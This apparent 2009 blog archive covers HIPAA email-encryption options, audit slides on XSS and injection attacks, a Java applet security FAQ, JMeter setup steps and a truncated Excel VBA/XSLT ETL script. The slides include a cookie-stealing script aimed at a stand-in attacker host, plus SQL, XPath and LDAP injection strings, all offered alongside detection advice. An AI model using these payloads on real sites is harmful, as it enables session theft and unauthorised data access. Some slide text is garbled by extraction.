Wednesday, April 29, 2009

Secure Email Integration for HIPAA Compliance Information

Current Situation
  • Business customers need to send confidential / personal information via email, and they need to send this to non-Intranet users
  • Company Security Policy (HIPAA compliance) requires confidential information to be encrypted in emails outside of the company firewall

The following alternatives were identified
1.Pull Type Architecture
2.End-to-End Encryption via S/MIME v3
3.Providing users with extranet facing outside the company firewall mail server (Variation of Infonet)
4.Pretty Good Privacy (PGP) Encryption
5.Transport Layer Security (TLS), Boundary-to-Boundary Encryption

The following changes are required for application interface by any Email Encryption alternative
1.Restrict the emails addresses in the "To" field for emails/notifications to valid emails
2.Restrict the emails addresses in the "To" field for emails/notifications to specific email domains 3.Prevent users from typing in email addresses

Advantages and Disadvantages of Alternatives
Alternative -1 A: Pull Type Architecture (all users treated the same)
Description:
• This option is suitable for systems that have a large user base and implement several automated alerts. The emails generated are recreated as webpages and hosted within the company firewall. The recipients are sent email alerts with the url of their message webpage and a token. The recipients authenticate using their id and the token to access their email message. There is security required to access the information via the link / URL, etc. (This was assumed to be within the Company Firewall.) This does not address emails going outside of the company firewall.
• Pros:
– No additional software installation required
– Uses proven standards such as SSL/Https
– Does not require any certificates
• Cons:
– Requires customization of the application to build this functionality
– Does not meet Business Client’s perceived requirement (the information be contained in the email)
– This does not address emails going outside of the company firewall (referrals or lab results).
• Complexity:
– Medium (Due to management of tokens)
– Recipient needs to use the VPN to get into the company Intranet
– High Level Effort Estimate:
• Requires COTS involvement (maybe 2 resources)
• Mini solution (Infrastructure hosting team)
• Application development team (revise reporting) – 2 resources

Alternative -1 B: Pull Type Architecture (only applies to users Outside the company firewall)
Description:
• This option is suitable for systems that have a large user base and implement several automated alerts. The emails generated are recreated as webpages and hosted within the company firewall. The recipients are sent email alerts with the url of their message webpage and a token. The recipients authenticate using their id and the token to access their email message. The users inside the company firewall should have a company Lotus notes account, and can get confidential information through Lotus Notes.
• Pros:
– No additional software installation required
– Uses proven standards such as SSL/Https
– Does not require any certificates
• Cons:
– Requires customization of application to build this functionality
– Does not meet Business Client’s perceived requirement (the information be contained in the email)
– This does not address confidential content information within emails going outside of the company firewall (referrals or lab results).
• Complexity:
– Medium (due to management of tokens as well as the need to be able to identify that this is an outside user as opposed to a internal user)
– Recipient needs to use the VPN to get into the company Intranet

Alternative -1 C: Pull By sftp Type Architecture (requires Outside users identification & ID’s)
This option is suitable for systems that have a large user base and implement several automated alerts. The emails that are generated are for notification only that a report or file exists on a secure ftp site. This report or file is then available for the user to pull it. The recipients authenticate using a secure ftp ID and password (This was assumed to be inside the company Firewall.)
This does not address emails going outside of the company firewall. If the user doesn’t have access to company Intranet, this solution is not feasible (Referrals).
The user would require a secure ftp client and certificates
Pros:
– No additional software installation required on the server side (clients would need a secure ftp)
– Uses proven standards such as SSL/Https
• Cons:
– Requires customization of application to build this functionality
– Does not meet Business Client’s perceived requirement (the information be contained in the email)
– This does not address confidential content information within emails going outside of the compay firewall (referrals or lab results).
– Users would need an additional ID and password (may be able to use existing ID).
• Complexity:
– Medium (Due to management of ID’s and certificates)
– Recipient needs to use the VPN to get into the company Intranet

Alternative -2: End to End Encryption via S/MIME v3.---
Description:
• The client will utilize the X.509 Certificates for both the sender and the receiver to encrypt the message. The message will remain encrypted from client to client. Internal users can use their VPN PKI certificates while partners will be required to purchase their own certificates. (Could use digital signatures from the server to the user to verify the right person…)
• Pros:
– Uses proven standards such as RSA-based encryption and X.509 Certificates.
– Most email client platforms claim cross platform compatibility.
– No customization of COTS application required.
– Medium implementation cost (purchase RSA certificate, people receiving need to purchase as well, and need a package to encrypt the message)
• Cons:
– Cross Platform compatibility is still an emerging feature in these products
– Places burden on the end users for certificate management (harvesting certificates, enrolling, revocation etc)
– High Maintenance and Support cost (to support end users)
– Risk that security-checking email services such as policy based message scanning and antivirus scanning could be bypassed, potentially violating company security policy standards, since the message is encrypted end to end.
– Since Lotus Notes is not on the server, we would need to add an encryption tool on the server.
– Requires software approval / deviation due to not being in company standard software category
• Complexity: Medium

Alternative -3 PROVIDING USERS WITH EXTRANET FACING, OUTSIDE THE COMPANY FIREWALL MAIL SERVER (Variation of Infonet)
Description:
• This option is suitable for all types of user bases and Email models. Company will host an Email Server for Partner mailboxes within the company firewall for all company partner companies to share secure communication. The partner users will connect to the External Email Server via a secure tunnel and access the emails through either Outlook, iNotes Client or Notes Client. Need to research if the messages stored in the external notes server are encrypted or not.
• Note: Company could provide the outside vendors a Lotus Notes account and Account ID. However, company policy may not support giving outside suppliers email access who do not have a COE seat. Client (COTS vendor) would still need to encrypt, so we’d still need a tool for that.
• S/MIME is an extension that allows additional functionality and it uses certificates to manage, although certificates are costly.
• Pros:
– It will be a single vendor based solution eliminating all needs for cross platform compatibility.
– There is no requirement for key management
– Low cost of maintenance and support.
• Cons:
– Implementation costs higher than option 2 (certificates already in place, so no additional cost for those)
– Need to research security compliance at the External Notes server.
– Not sure if internal IT would support, given complexity of changes to the infrastructure.
– Business customers may not want to force people to have a company email ID.
– There’s a risk that company may lose HIPAA exemption because outside electronic transmissions of medical information may require auditing.
• Complexity: High


Alternative -4 PRETTY GOOD PRIVACY (PGP) Encryption
Description: The sending server will utilize a Public Key to encrypt the message, and the receiver decrypts the message with a Private Key. Company requires Private Keys for its users. Private keys would need to be purchased and managed for outside users.
• Pros:
– Uses proven standards (PGP)
– Most email client platforms claim cross platform compatibility.
– No customization of COTS application required.
– Medium cost (purchase Private Keys for the client)
• Cons:
– End user would need to install key.
– Key management must be performed by a Certificate Authority (IT vendor or other organizations)
– High Maintenance cost (to support end users)
– Would need an encryption tool on the server
– Risk that security-checking email services such as policy based message scanning and antivirus scanning could be bypassed, potentially violating company security policy standards, since the message is encrypted end to end.
• Complexity: Medium


Alternative -5 Transport Layer Security (TLS), Not an end-to-end encryption solution.
Description: TLS is a variation of the tried-and-true Secure Sockets Layer (SSL) protocol that we use to protect Web traffic. Using TLS to encrypt communications between two email gateways has a number of security benefits. First, each mail server authenticates to the other, making it harder to send spoofed email. Second, the contents of the emails sent between the two servers are encrypted, protecting them from prying eyes while in transit. Finally, the encryption of the conversation between the two hosts makes it exceedingly difficult for an attacker to tamper with the email's contents.
· Pros:
o Secure transfer from server to server.
o Digital signatures sent and received from the server level.
o TLS and SMTP are extremely interoperable
o Do not need a digital certificate to run TLS on the mail server
· Cons:
o Not highly scalable
o This solution is dependent upon the security environment of the receiving server, which may not be compatible with company security policy requirements.
· Complexity:
o Low-medium



Comparison (Equal Weight)


Comparison (Weighted)



Recommend: Alternative #2
End to End Encryption via S/MIME v3
We recommends Alternative #2 for the following reasons:
•Emails with Confidential and Personal data are encrypted outside Company Firewall
•Proven Industry Standard

Sending Party Considerations (Our Company):
•Does not need to manage specific certificates (Use Existing PKI)
•An encryption module needs to be added to the Mail server
•Requires software approval/deviation
•Requires hosting approval
•Requires Security Policy approval

Receiving Party Considerations (Partners):
•All recipients would be required to have a approved email domain account
•Encrypted emails may violate partner's email security-checking process and/or policy
•Use the company's PKI system without any certificate management
•OR email user would have to purchase/manage/renew his/her own certificate

Encryption Modules
Appliance Module: Entrust Messaging Server



• Software Module: CompanyCRYPT


Tuesday, April 28, 2009

Web Vulnerability Audit - cross-site scripting (XSS)

Business Problem
● Independent security audit
● Regulatory compliance
● XSS issue raised
● Must provide a response

Audit Response
● Either: – Prove issue to be a non-problem or – Describe actions to take

Resolution Steps
● Investigate security concerns
● Restate as IT problem(s)
●Determine solution(s)
● Provide audit response
● Mitigate risk

Investigation
● Define cross-site scripting (XSS)
● Examine how auditors applied
● Identify risks
● Research preliminary solutions

cross-site scripting
Attacker goal: their code into browser
● XSS forces a website to execute malicious code in browser
● Browser user is the intended victim
● Why? Account hijjacking,, keystroke recording,, intranet hacking,, theft…

XSS types
● Immediate reflection : phishing
● DOM-based : 95 JavaScript methods
● Redirection : header,, meta,, dynamic
● Multimedia : Flash,, QT,, PDF scripts
Cross-Site Request Forgery (CSRF)
● others… – (e.g. non-persistent search box)

Risks
●XSS abuses render engines or plug-ins
● Steal browser cookies
● Steal session info for replay attack
● Malware or bot installation
● Redirect or phishing attempt

Actual risk
● Currently,, none..
● Edit box info viewed in thick client
● DHTML or JavaScript needs browser
● Our thick client is Java Swing-based

Planned Audit Response
Could indicate “no audit problem”
● Might have future impact Address through dev standards
● Consider application firewall Widen problem scope to include all user agent injection tactics

More on Web Attacks
● Cross Site Scripting
● SQL Injjection
● XPATH Injjection
● LDAP Injjection
● SSI (server side inclusion) Injection
● JSP (Java server pages) Injection

Artifacts
● For each injection issue:– Vulnerability description documented– Preventative coding technique Discuss with App Dev teams– Publish and socialize direction– Include in peer reviews/code walkthroughs– Set deadlines for ful incorporation
● Communicate with auditors

Cross Site Scripting
Example 1
● Trudy posts the folowing JavaScript on amessage board:<<script>d_o_c_u_m_e_n_t.location='http___://trudyhost/cgibin/stealcookie.cgi?'+document.cookie</SCRIPT> When Bob views the posted message, hisbrowser executes the malicious script, andhis session cookie is sent to Trudy

Cross Site Scripting
Example 2
● Trudy sends a link to the folowing URL to Bob thatwil take him to a personalized page: http://host/personalizedpage.php?username=
A page is returned that contains the maliciousscript instead of the username Bob, and Bob’sbrowser executes the script causing his sessioncookie to be sent to Trudy
● Hex is often used in place of ASCI for theJavaScript to make the URL less suspicious

Cross Site Scripting
Detection
● A client usually is not supposed to sendscripts to servers– If the server receives <script>… or thehex equivalent in an incoming packet andthat same script is sent unsanitized in anoutgoing packet or in an outgoing SQLstatement to the database, then an attackhas occurred
● A sanitized script could look like&ls;SCRIPT>…

SQL Injection Example
● Trudy accesses Bob’s website; in which he does notvalidate input on his sign in form– Runs a SQL statement like the folowing:– SELECT * from Accounts where username =“USER_NAME” and password = “USER_PASS”;
● In the password field, she types as her password:– X” OR “x”=“x
● Manipulates the server into running the folowing SQLcommand:– SELECT * from Accounts where username =“USER_NAME” and password=“X” OR “x”=“x”;– Selects al account information

SQL Injection Detection

● To detect and prevent this at Bob’’slocation– Log any trafic from Trudy to Bobcontaining form data containing aquotation mark– Match any outgoing SQL statements fromBob’s web server to his database serverand verify that the quotation marks Trudysupplied were escaped– If they weren’t, take action

XPATH Injection Example
● Similar to SQL injection
● Bob has a form that does not sanitize userprovidedinput before using it as part of anXPATH query::– string(//user[name/text()=’USER_NAME' andpassword/text()=’USER_PASS']/account/text())
● Trudy again can provide the folowingpassword to change the statement’s logic:– X’ OR ‘x’=‘x– The statement thus selects the first account

XPATH InjectionDetection
● Again,, our system can detect this bymatching any submission by Trudycontaining a quotation mark againstoutbound XPATH queries
● Correction can again be done byescaping any rogue quotation marksTrudy may have inserted Detection approach is blackbox
LDAP Injection Example
● Server using LDAP for authentication– User name initialized, but then usesunchecked user input to create a queryfilter = "(uid=" + CStr(userName) + ")" ''searching for the user entry
● Attacker can exploit using specialcharactershttp://examplle/lldapsearch..asp?user=*

LDAP Injection Detection
● Detection is based off of usage ofspecial LDAP characters– System monitors input for specialcharacters– Either scrubs incoming input or watchesfor unescaped output passed to databaseserver
● Detection approach is blackbox

SSI Injection Example
● Bob has his server configured to use Server-Side Includes
● Trudy passes input with an SSI embedded
● SSI inserts malicious code into normalwebpages upon next request
● Future legitimate users get contentcontaining the tainted code included by theSSI

SSI Injection Detection
● Bob’’s system needs SSI enabled,, so heuses our system on local servers– SSI code can be detected by its specificformat
● HTML comment () containing a command– SSI commands can be stripped on ingress– Can also deny outgoing packets that do notinclude SSI as inputted (means successfulexecution) Detection approach is blackbox

JSP Injection Example
● Similar to SSI injjection
● Bob has a portal server configured touse dynamic code for templates Trudy passes input with an embedded
● malicious code inserted into webpage

JSP Injection Prevention
● Prefer static include

Java Applet Security

The goal for the JDK is to enable browsers to run untrusted applets in a trusted environment. Our approach is to be conservative at first, and to add functionality when it can be added securely. The intent is to prevent applets from inspecting or changing files on the client file system. Also, the intent is to prevent applets from using network connections to circumvent file protections or people's expectations of privacy.
JDK 1.1 provides the basic technology for loading and authenticating signed classes. This enables browsers to run trusted applets in a trusted environment. This does not make obselete the need to run untrusted applets in a secure way. In the release following JDK 1.1, we will provide tools for finer-grained control of flexible security policies.


1. What are applets prevented from doing?
In general, applets loaded over the net are prevented from reading and writing files on the client file system, and from making network connections except to the originating host.
In addition, applets loaded over the net are prevented from starting other programs on the client. Applets loaded over the net are also not allowed to load libraries, or to define native method calls. If an applet could define native method calls, that would give the applet direct access to the underlying computer.
There are other specific capabilities denied to applets loaded over the net, but most of the applet security policy is described by those two paragraphs above. Read on for the gory details.

2. Can applets read or write files?
In Java-enabled browsers, untrusted applets cannot read or write files at all. By default, downloaded applets are considered untrusted. There are two ways for an applet to be considered trusted:
1. The applet is installed on the local hard disk, in a directory on the CLASSPATH used by the program that you are using to run the applet. Usually, this is a Java-enabled browser, but it could be the appletviewer, or other Java programs that know how to load applets.
2. The applet is signed by an identity marked as trusted in your identity database. For more information on signed applets, refer to an example of using signed applets, and to a short description on using javakey.
Sun's appletviewer allows applets to read files that reside in directories on the access control lists.
If the file is not on the client's access control list, then applets cannot access the file in any way. Specifically, applets cannot
o check for the existence of the file
o read the file
o write the file
o rename the file
o create a directory on the client file system
o list the files in this file (as if it were a directory)
o check the file's type
o check the timestamp when the file was last modified
o check the file's size

3. How do I let an applet read a file?
Applets loaded into a Java-enabled browser can't read files.
Sun's appletviewer allows applets to read files that are named on the access control list for reading. The access control list for reading is null by default, in the JDK. You can allow applets to read directories or files by naming them in the acl.read property in your ~/.hotjava/properties file.
Note: The "~" (tilde) symbol is used on UNIX systems to refer to your home directory. If you install a web browser on your F:\ drive on your PC, and create a top-level directory named .hotjava, then your properties file is found in F:\.hotjava\properties.
For example, to allow any files in the directory home/me to be read by applets loaded into the appletviewer, add this line to your ~/.hotjava/properties file.
acl.read=/home/me
You can specify one file to be read:
acl.read=/home/me/somedir/somefile
Use ":" to separate entries:
acl.read=/home/foo:/home/me/somedir/somefile
Allowing an applet to read a directory means that it can read all the files in that directory, including any files in any subdirectories that might be hanging off that directory.

4. How do I let an applet write a file?
Applets loaded into a Java-enabled browser can't write files.
Sun's appletviewer allows applets to write files that are named on the access control list for writing. The access control list for writing is empty by default.
You can allow applets to write to your /tmp directory by setting the acl.write property in your ~/.hotjava/properties file:
acl.write=/tmp
You can allow applets to write to a particular file by naming it explicitly:
acl.write=/home/me/somedir/somefile
Use : to separate entries:
acl.write=/tmp:/home/me/somedir/somefile
Bear in mind that if you open up your file system for writing by applets, there is no way to limit the amount of disk space an applet might use.

5. What system properties can be read by applets, and how?
In both Java-enabled browsers and the appletviewer, applets can read these system properties by invoking System.getProperty(String key):


key meaning
____________ ______________________________
java.version Java version number
java.vendor Java vendor-specific string
java.vendor.url Java vendor URL
java.class.version Java class version number
os.name Operating system name
os.arch Operating system architecture
os.version Operating system version
file.separator File separator (eg, "/")
path.separator Path separator (eg, ":")
line.separator Line separator

Applets are prevented from reading these system properties:

key meaning
____________ _____________________________
java.home Java installation directory
java.class.path Java classpath
user.name User account name
user.home User home directory
user.dir User's current working directory

To read a system property from within an applet, simply invoke System.getProperty(key) on the property you are interested in.
For example,
String s = System.getProperty("os.name");

6. How do I hide system properties that applets are allowed to read by default?
There's no way to hide the above ten system properties from applets loaded into a Java-enabled browser. The reason is that the browsers don't consult any external files as part their Java configuration, as a security precaution, including the ~/.hotjava/properties file.
From the appletviewer, you can prevent applets from finding out anything about your system by redefining the property in your ~/.hotjava/properties file. For example, to hide the name of the operating system that you are using, add this line to your ~/.hotjava/properties file:
os.name=null

7. How can I allow applets to read system properties that they aren't allowed to read by default?
There's no way to allow an applet loaded into a Java-enabled browser to read system properties that they aren't allowed to read by default.
To allow applets loaded into the appletviewer to read the property named by key, add the property key.applet=true to your ~/.hotjava/property file. For example, to allow applets to record your user name, add this line to your ~/.hotjava/properties file:
user.name.applet=true

8. How can an applet open a network connection to a computer on the internet?
Applets are not allowed to open network connections to any computer, except for the host that provided the .class files. This is either the host where the html page came from, or the host specified in the codebase parameter in the applet tag, with codebase taking precendence.
For example, if you try to do this from an applet that did not originate from the machine foo.com, it will fail with a security exception:
Socket s = new Socket("foo.com", 25, true);

9. How can an applet open a network connection to its originating host?
Be sure to name the originating host exactly as it was specified when the applet was loaded into the browser.
That is, if you load an HTML page using the URL
http://foo.state.edu/~me/appletPage.html
then your applet will be able to connect to its host only by using the name foo.state.edu. Using the IP address for foo.state.edu won't work, and using a "shorthand" form of the host name, like foo.state instead of foo.state.edu, won't work.

10. How can an applet maintain persistent state?
There is no explicit support in the JDK applet API for persistent state on the client side. However, an applet can maintain its own persistent state on the server side. That is, it can create files on the server side and read files from the server side.

11. Can an applet start another program on the client?
No, applets loaded over the net are not allowed to start programs on the client. That is, an applet that you visit can't start some rogue process on your PC. In UNIX terminology, applets are not allowed to exec or fork processes. In particular, this means that applets can't invoke some program to list the contents of your file system, and it means that applets can't invoke System.exit() in an attempt to kill your web browser. Applets are also not allowed to manipulate threads outside the applet's own thread group.

12. What features of the Java language help people build secure applets?
o Java programs do not use pointers explicitly. Objects are accessed by getting a handle to the object. Effectively, this is like getting a pointer to an object, but Java does not allow the equivalent of pointer arithmetic on object handles. Object handles cannot be modified in any way by the Java applet or application.
o C and C++ programmers are used to manipulating pointers to implement strings and to implement arrays. Java has high-level support for both strings and arrays, so programmers don't need to resort to pointer arithmetic in order to use those data structures.
o Arrays are bounds-checked at runtime. Using a negative index causes a runtime exception, and using an index that is larger than the size of the array causes a runtime exception. Once an array object is created, its length never changes.
o Strings in Java are immutable. A string is zero or more characters enclosed in double quotes, and it's an instance of the String class. Using immutable strings can help prevent common runtime errors that could be exploited by hostile applets.
o The Java compiler checks that all type casts are legal. Java is a strongly typed language, unlike C or C++, and objects cannot be cast to a subclass without an explicit runtime check.
o The final modifier can be used when initializing a variable, to prevent runtime modification of that variable. The compiler catches attempts to modify final variables.
o Before a method is invoked on an object, the compiler checks that the object is the correct type for that method. For example, invoking
o t.currentThread()
when t is not a Thread object causes a compile time error.
o Java provides four access modifiers for methods and variables defined within classes and makes sure that these access barriers are not violated.
§ public: a public method is accessible anywhere the class name is accessible
§ protected: a protected method is accessible by a child of a class as long as it is trying to access fields in a similarly typed class. For example,
§ class Parent { protected int x; }
§ class Child extends Parent { ... }
The class Child can access the field "x" only on objects that are of type Child (or a subset of Child.)
§ private: a private method is accessible only within its defining class
§ default: if no modifier is specified, then by default, a method is accessible only within its defining package
For example, programmers can choose to implement sensitive functions as private methods. The compiler and the runtime checks ensure that no objects outside the class can invoke the private methods.

13. What is the difference between applets loaded over the net and applets loaded via the file system?
There are two different ways that applets are loaded by a Java system. The way an applet enters the system affects what it is allowed to do.
If an applet is loaded over the net, then it is loaded by the applet class loader, and is subject to the restrictions enforced by the applet security manager.
If an applet resides on the client's local disk, and in a directory that is on the client's CLASSPATH, then it is loaded by the file system loader. The most important differences are
o applets loaded via the file system are allowed to read and write files
o applets loaded via the file system are allowed to load libraries on the client
o applets loaded via the file system are allowed to exec processes
o applets loaded via the file system are allowed to exit the virtual machine
o applets loaded via the file system are not passed through the byte code verifier
Java-enabled browsers use the applet class loader to load applets specified with file: URLs. So, the restrictions and protections that accrue from the class loader and its associated security manager are now in effect for applets loaded via file: URLs.
This means that if you specify the URL like so:
Location: file:/home/me/public_html/something.html
and the file something.html contains an applet, the browser loads it using its applet class loader.

14. What's the applet class loader, and what does it buy me?
Applets loaded over the net are loaded by the applet class loader. For example, the appletviewer's applet class loader is implemented by the class sun.applet.AppletClassLoader.
The class loader enforces the Java name space hierarchy. The class loader guarantees that a unique namespace exists for classes that come from the local file system, and that a unique namespace exists for each network source. When a browser loads an applet over the net, that applet's classes are placed in a private namespace associated with the applet's origin. Thus, applets loaded from different network sources are partitioned from each other.
Also, classes loaded by the class loader are passed through the verifier. The verifier checks that the class file conforms to the Java language specification - it doesn't assume that the class file was produced by a "friendly" or "trusted" compiler. On the contrary, it checks the class file for purposeful violations of the language type rules and name space restrictions. The verifier ensures that
o There are no stack overflows or underflows.
o All register accesses and stores are valid.
o The parameters to all bytecode instructions are correct.
o There is no illegal data conversion.
The verifier accomplishes that by doing a data-flow analysis of the bytecode instruction stream, along with checking the class file format, object signatures, and special analysis of finally clauses that are used for Java exception handling.
Details on the verifier's design and implementation were presented in a paper by Frank Yellin at the December 1995 WWW conference in Boston.
A web browser uses only one class loader, which is established at start-up. Thereafter, the system class loader cannot be extended, overloaded, overridden or replaced. Applets cannot create or reference their own class loader.

15. What's the applet security manager, and what does it buy me?
The applet security manager is the Java mechanism for enforcing the applet restrictions described above. The appletviewer's applet security manager is implemented by sun.applet.AppletSecurity.
A browser may only have one security manager. The security manager is established at startup, and it cannot thereafter be replaced, overloaded, overridden, or extended. Applets cannot create or reference their own security manager.

16. Is there a summary of applet capabilities?
The following table is not an exhaustive list of applet capabilities. It's meant to answer the questions we hear most often about what applets can and cannot do.
Key:
o NN: Netscape Navigator 4.x, loading unsigned applets over the Net
o NL: Netscape Navigator 4.x, loading unsigned applets from the Local file system
o AN: Appletviewer, JDK 1.x, loading applets over the Net
o AL: Appletviewer, JDK 1.x, loading applets from the Local file system
o JS: Java Standalone applications


Stricter ------------------------> Less strict

NN NL AN AL JS

read file in /home/me, no no no yes yes
acl.read=null

read file in /home/me, no no yes yes yes
acl.read=/home/me

write file in /tmp, no no no yes yes
acl.write=null

write file in /tmp, no no yes yes yes
acl.write=/tmp

get file info, no no no yes yes
acl.read=null
acl.write=null

get file info, no no yes yes yes
acl.read=/home/me
acl.write=/tmp

delete file, no no no no yes
using File.delete()

delete file, no no no yes yes
using exec /usr/bin/rm

read the user.name no yes no yes yes
property

connect to port no no no yes yes
on client

connect to port no no no yes yes
on 3rd host

load library no yes no yes yes

exit(-1) no no no yes yes

create a popup no yes no yes yes
window without
a warning


17. If other languages are compiled to Java bytecodes, how does that affect the applet security model?
The verifier is independent of Sun's reference implementation of the Java compiler and the high-level specification of the Java language. It verifies bytecodes generated by other Java compilers. It also verifies bytecodes generated by compiling other languages into the bytecode format. Bytecodes imported over the net that pass the verifier can be trusted to run on the Java virtual machine. In order to pass the verifier, bytecodes have to conform to the strict typing, the object signatures, the class file format, and the predictability of the runtime stack that are all defined by the Java language implementation.

Running JMeter on HTTPS (SSL)

----------------------------------------------------
The steps are tested for:
IE 7
Sun jre 1.6_0_07
JMeter 2.3.2

1.) Export Certificate to File
* IE Tools->Internet Options->Content->Certificates->Trusted Root Certification Authorities
* locate the certificate in the table & select (I exported “VeriSign Trust Network”)
* hit the Export button
* select DER encoded binary format x.509
* save to a file

2.) Import Certificate into JRE Keystore
* open command prompt
* make sure %JAVA_HOME%/jre/bin is in your path (if not, you need to find the jre/bin location. Usually it is under “C:\Program Files\Java\” folder. Add this folder to your PATH environment)
* keytool -import -file
* enter keystore password (default is "changeit")* enter "yes" to trust the certificate

3.) Modify the jmeter.properties file
* uncomment the following lines (or you may need to add them under “# SSL configuration” section): #ssl.provider=com.sun.net.ssl.internal.ssl.Provider
#ssl.pkgs=com.sun.net.ssl.internal.www.protocol

4.) Try It
* start JMeter
* Make a simple test case as follows
Test Plan
Thread Group (Loop Count = 1)
HTTP Request (HTTPS, Port 443) (Server Name: <yourcompany.com>; Path: </testErr.jsp>; Port Number: <443>; Protocol: <https>View Results Tree
* HTTP responses will be logged in the results tree

Reference URL: http://osdir.com/ml/jakarta.jmeter.user/2002-12/msg00149.html

Running JMeter on HTTP


1. Download latest JMeter to GMOnline Computer
Goto http://jakarta.apache.org/site/downloads/index.html
Click “JMeter”
Select the zip file under “Binary” (Current version is 2.3.2.zip)
2. Unzip the downloaded zip file
3. Go to “jakata-jmeter-2.3.2/bin” folder and click “jmeter.bat”. If an error is displayed, you may not have JRE installed, go to step 4; otherwise go to step 5.
4. Install JRE
Go to http://java.com/en/download/index.jsp
Click “Free Java Download” button
Follow the instruction to download and install latest JRE
5. After “jmeter.bat” is clicked, the application is displayed


6. Right-click the Test Plan element and select Add and then Thread Group. JMeter will create a thread group element under Test Plan element.
7. In this page, you can set the following properties:
Name -- the name of this thread group. You can give a descriptive name to this property such as “ERMS Applet Test”.
Number of Threads -- the number of threads created. Each thread represents a single user. Therefore, if you want to simulate a load test with 10 concurrent users, enter 10 as the value for this property.
Ramp-Up Period -- the number of seconds JMeter will take to accelerate to create all of the threads needed. If the number of threads used is 10 and the ramp-up period is 20 seconds, JMeter will take 20 seconds to create those 10 threads, creating one new thread every two seconds. If you want all threads to be created at once, put 0 in this box.
Forever -- if clicked, this option tells JMeter to keep sending requests to the tested application indefinitely. If disabled, JMeter will repeat the test for the number of times entered in the Loop Count box.
Loop Count --this property value only has an effect if the Forever check box is unchecked. It tells JMeter the number of times it has to repeat the test.
8. Right-click the Thread Group element, and select Add, Sampler, and then HTTP Request. An HTTP Request element will be added to the Thread Group element. Click the HTTP Request element to select it.
9. On the HTTP Request screen, you configure the HTTP requests that will be used to "hit" your application. Here, you can set the following properties.
Name -- the name of this HTTP request. The name should be descriptive such as “Request ERMS Applet”; it is common to have multiple HTTP Request elements in a thread group.
Server Name or IP -- the server name or the IP address of the machine running the application being tested. (“erms.nam.gm.com”)
Port Number -- the port number used by the application. Normally, a Web application runs on port 80.
Protocol -- the protocol used, either HTTP or HTTPS. (ERMS uses HTTP)
Method -- the request method, either GET or POST.
Path -- the path to the resource that will handle this request. (e.g. “/aptest”)
Follow Redirects -- follows redirections sent by the Web application, if any.
Use KeepAlive -- if checked, sends the Connection = Keep-Alive request header. By default, an HTTP 1.1 browser uses Keep-Alive as the value of the Connection header. Therefore, this checkbox should be checked.
Parameters -- the list of parameters sent with this request. Use the Add and Delete buttons to add and remove parameters. (none)
Send a file with a request -- simulate a file upload to the Web application. (none)
Retrieve All Embedded Resources from HTML Files -- download embedded content including Applet. Make sure this option is checked
10. The last element that we need to add to our test plan is a listener, which in JMeter is the same as a report. JMeter comes with various reports to choose from. A report can be a table or a graph. For this testing, use the easiest report available: a table.
11. To add a listener, right-click the Thread Group element, select Add, and then Listener and View Results in Table. Now you are ready to run the test plan.
12. Before you run your test plan, however, you are advised to save the test plan just in case JMeter crashes the system (an occasional occurrence with higher numbers of threads and loop counts).
13. Select Start from the Run menu to execute the test plan.
14. Click on ”View Results in Table” to view the result.

ETL using Microsoft Excel, XML and XSLT

Microsoft Excel VBA is a powerful tool to provide a Facade for simple ETL process.

  • GUI designed and implemented by Microsoft Excel VBA form
  • Business Logic implemented by XSLT
  • Data is stored as XML format



Sub OpenUserForm()
frmExchangeRate.Show
End Sub

Sub xmltocsv()
' Dim oDOM As MSXML2.DOMDocument
' Dim oXML As MSXML2.DOMDocument
' Dim oXSL As MSXML2.DOMDocument
Dim oDOM As MSXML2.FreeThreadedDOMDocument
Dim oXML As MSXML2.FreeThreadedDOMDocument
Dim oXSL As MSXML2.FreeThreadedDOMDocument
Dim oXSLTemplate As XSLTemplate
Dim xslProc As IXSLProcessor
Dim strHTML As String
Dim strTransform As String
Dim currentDir As String

currentDir = CurDir()
Set oDOM = CreateObject("MSXML2.FreeThreadedDOMDocument")
oDOM.async = False
' oDOM.Load currentDir & "\" & frmExchangeRate.txtXSLFilename.Text
oDOM.loadXML Sheets("Run VBA").Range("A1").Value
Set oXSL = CreateObject("MSXML2.FreeThreadedDOMDocument")
oXSL.async = False
oXSL.Load currentDir & "\" & frmExchangeRate.txtXSLFilename.Text
' oXSL.loadXML Sheets("Run VBA").Range("B1").Value
Set XSLTemplate = CreateObject("MSXML2.XSLTemplate")

XSLTemplate.stylesheet = oXSL
Set xslProc = XSLTemplate.createProcessor()
xslProc.addParameter "GMFile", currentDir & "\" & frmExchangeRate.txtGMFilename.Value
xslProc.addParameter "IBMFile", currentDir & "\" & rmExchangeRate.txtIBMFilename.Value
xslProc.addParameter "ISOFile", currentDir & "\" & frmExchangeRate.txtISOFilename.Value
xslProc.input = oDOM
xslProc.transform
strTransform = xslProc.output
'your XSLT stylesheet should be saved as unicode or UTF not ansii
'note encoding instruction maybe needed for european language encoding say swedish characters
' strTransform = oDOM.transformNode(oXSL)
strHTML = "" & vbCrLf & _
"<root>" & strTransform & "</root>"
WriteFile "ERMSExchangeRate" & Format(Now, "yyyymmddhhmmss") & ".tbl", strTransform
'
'the above XSLT transform with xsl file converts this to a flat csv format file
Set oDOM = Nothing
Set oXML = Nothing
Set oXSL = Nothing
Set XSLTemplate = Nothing
Set xslProc = NothingEnd Sub

Public Sub WriteFile(ByVal sFileName As String, ByVal sContents As String)
' Dump XML String to File for debugging
Dim fhFile As Integer
fhFile = FreeFile
' Debug.Print "Length of string=" & Len(sContents)
Open sFileName For Output As #fhFile
Print #fhFile, sContents;
Close #fhFile
Debug.Print "Out File" & sFileName
End Sub

XSLT File
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet" xmlns:user="mynamespace" xmlns="urn:schemas-microsoft-com:office:spreadsheet" version="1.0"
>
<msxsl:script implements-prefix="user"><![CDATA[
]]></msxsl:script>
<xsl:output method="text"/>


<xsl:param name="File1"/>
<xsl:param name="File2"/>
<xsl:param name="ISOFile"/>

<xsl:variable name="iso4217_list">
<root> <xsl:for-each select="document($ISOFile)//ss:Workbook/ss:Worksheet[1]/ss:Table[1]/ss:Row"> <item> <country><xsl:value-of select="translate(ss:Cell[3]/ss:Data/text(),'abcdefghijklmnopqrstuvwxyz','ABCDEFGHIJKLMNOPQRSTUVWXYZ')"/></country>
<code><xsl:value-of select="number(ss:Cell[4]/ss:Data/text())"/></code>
</item>
</xsl:for-each>
</root>
</xsl:variable>


<xsl:variable name="gm_exchange_rate_list">
<root>
<xsl:for-each select="document($File1)//ss:Workbook/ss:Worksheet[1]/ss:Table[1]/ss:Row[position() > 1]">
